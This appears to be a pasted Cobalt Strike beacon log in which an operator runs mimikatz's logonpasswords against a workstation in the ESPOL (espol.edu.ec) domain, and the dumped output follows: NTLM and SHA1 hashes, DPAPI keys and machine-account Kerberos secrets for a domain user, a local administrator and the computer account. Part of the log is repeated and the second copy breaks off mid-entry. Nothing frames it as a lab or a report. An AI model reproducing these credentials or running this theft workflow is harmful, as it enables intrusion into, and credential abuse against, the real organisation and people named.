Notes
Notes - notes.io |
[02/18 23:38:47] beacon> sleep 5 20
[02/18 23:38:47] [*] Tasked beacon to sleep for 5s (20% jitter)
[02/18 23:39:20] [+] host called home, sent: 16 bytes
[02/18 23:39:43] beacon> logonpasswords
[02/18 23:39:43] [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[02/18 23:39:48] [+] host called home, sent: 313675 bytes
[02/18 23:39:55] [+] received output:
Authentication Id : 2 ; 635268071 (00000002:25dd6be7)
Session : RemoteInteractive from 4
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 15:34:55
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
[00000003] Primary
* Username : usuariotemp
* Domain : ESPOL
* NTLM : 2bc3bb859db32a2c0ec8b8b76b55e89f
* SHA1 : 3b20694754d8bd106c7437d91aca69d2cf3bb561
* DPAPI : e0dc1523c1d06c8569c24cfd512e6b4d
tspkg :
wdigest :
* Username : usuariotemp
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : usuariotemp
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635262617 (00000002:25dd5699)
Session : RemoteInteractive from 4
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 15:34:55
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
[00000003] Primary
* Username : usuariotemp
* Domain : ESPOL
* NTLM : 2bc3bb859db32a2c0ec8b8b76b55e89f
* SHA1 : 3b20694754d8bd106c7437d91aca69d2cf3bb561
* DPAPI : e0dc1523c1d06c8569c24cfd512e6b4d
tspkg :
wdigest :
* Username : usuariotemp
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : usuariotemp
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635160229 (00000002:25dbc6a5)
Session : Interactive from 4
User Name : DWM-4
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 15:34:52
SID : S-1-5-90-0-4
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635160168 (00000002:25dbc668)
Session : Interactive from 4
User Name : DWM-4
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 15:34:52
SID : S-1-5-90-0-4
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635144339 (00000002:25db8893)
Session : Interactive from 4
User Name : UMFD-4
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 18/2/2025 15:34:52
SID : S-1-5-96-0-4
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604970791 (00000002:240f1f27)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 14:49:00
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604970747 (00000002:240f1efb)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 14:49:00
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604966208 (00000002:240f0d40)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 18/2/2025 14:49:00
SID : S-1-5-96-0-3
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604159882 (00000002:2402bf8a)
Session : RemoteInteractive from 2
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 14:48:23
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604131944 (00000002:24025268)
Session : RemoteInteractive from 2
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 14:48:23
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2251488 (00000000:00225ae0)
Session : Interactive from 1
User Name : Administrador
Domain : GGIECCOMWRK243
Logon Server : GGIECCOMWRK243
Logon Time : 30/1/2025 14:08:17
SID : S-1-5-21-2661616615-2057888277-2135062971-500
msv :
[00000003] Primary
* Username : Administrador
* Domain : GGIECCOMWRK243
* NTLM : 2452b254bf69c6e70346818d26a5ad42
* SHA1 : f677831668a03a4e7631799561ebc4146a56c58b
tspkg :
wdigest :
* Username : Administrador
* Domain : GGIECCOMWRK243
* Password : (null)
kerberos :
* Username : Administrador
* Domain : GGIECCOMWRK243
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 566780 (00000000:0008a5fc)
Session : Service from 0
User Name : niLXIDiscovery
Domain : NT SERVICE
Logon Server : (null)
Logon Time : 21/1/2025 10:59:48
SID : S-1-5-80-63272789-367670524-4235130887-501008514-333400210
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 355464 (00000000:00056c88)
Session : Service from 0
User Name : niroco
Domain : NT SERVICE
Logon Server : (null)
Logon Time : 21/1/2025 10:59:47
SID : S-1-5-80-1122491841-3392631692-228128370-2991616343-3360392805
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 352778 (00000000:0005620a)
Session : Service from 0
User Name : lkClassAds
Domain : NT SERVICE
Logon Server : (null)
Logon Time : 21/1/2025 10:59:47
SID : S-1-5-80-2318606733-4105731500-2265514868-2382646068-3090068018
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : SERVICIO LOCAL
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 21/1/2025 10:59:46
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 104623 (00000000:000198af)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/1/2025 10:59:46
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : 10338cfff6e84874d4a126ff3886683f
* SHA1 : 8b7ebfa16190dc6d92c2e3a6503f53b279808696
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : 24 ec 88 1e a0 5e 32 ef 14 3c fc ee 2f c0 9b 3e 39 56 58 db 5f 45 c1 ca 4a b4 77 dd 10 16 76 9a 9a 79 f4 93 28 df a3 36 d6 58 ab c2 c7 cd 61 ea ee d5 60 60 8f f1 1a 4a 0c 3c cd 1b cb 04 d2 0d 3a c2 76 41 63 7f b2 b5 b4 9d 64 ed 0c 60 48 01 b5 4f 25 80 8d f6 82 e6 18 7a fd 18 35 50 ce e9 96 77 70 4f f3 a9 5a 04 30 fc ab b0 be 75 a5 73 c8 24 51 05 46 29 41 5f 3e 6e 43 fa 26 13 bd bc 9d 86 ad 86 41 9f 8d f2 8a a7 35 5c 83 b1 43 3c 15 57 a2 85 31 e1 49 81 07 ac fe 13 5e 66 4f 89 80 23 42 bc d4 63 80 76 5d 21 c9 c9 1d c6 7e 4d 84 19 06 7e ec 12 d7 85 4c 93 f7 1e df ed 03 93 0d d5 ef 6e 16 56 94 89 96 c3 ac 73 21 d2 e2 c2 df d7 f1 d6 38 47 cf a8 e3 ee e9 16 3e 6a 07 73 d9 e3 ef 30 3b 28 5a 58 fb 2b 34 86 8c 18 30 9b
ssp :
credman :
cloudap :
Authentication Id : 0 ; 104592 (00000000:00019890)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/1/2025 10:59:46
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : GGIECCOMWRK243$
Domain : ESPOL
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-20
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : ggieccomwrk243$
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 77877 (00000000:00013035)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 77849 (00000000:00013019)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 76627 (00000000:00012b53)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID :
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : GGIECCOMWRK243$
Domain : ESPOL
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : ggieccomwrk243$
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
[02/18 23:38:47] [*] Tasked beacon to sleep for 5s (20% jitter)
[02/18 23:39:20] [+] host called home, sent: 16 bytes
[02/18 23:39:43] beacon> logonpasswords
[02/18 23:39:43] [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[02/18 23:39:48] [+] host called home, sent: 313675 bytes
[02/18 23:39:55] [+] received output:
Authentication Id : 2 ; 635268071 (00000002:25dd6be7)
Session : RemoteInteractive from 4
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 15:34:55
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
[00000003] Primary
* Username : usuariotemp
* Domain : ESPOL
* NTLM : 2bc3bb859db32a2c0ec8b8b76b55e89f
* SHA1 : 3b20694754d8bd106c7437d91aca69d2cf3bb561
* DPAPI : e0dc1523c1d06c8569c24cfd512e6b4d
tspkg :
wdigest :
* Username : usuariotemp
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : usuariotemp
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635262617 (00000002:25dd5699)
Session : RemoteInteractive from 4
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 15:34:55
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
[00000003] Primary
* Username : usuariotemp
* Domain : ESPOL
* NTLM : 2bc3bb859db32a2c0ec8b8b76b55e89f
* SHA1 : 3b20694754d8bd106c7437d91aca69d2cf3bb561
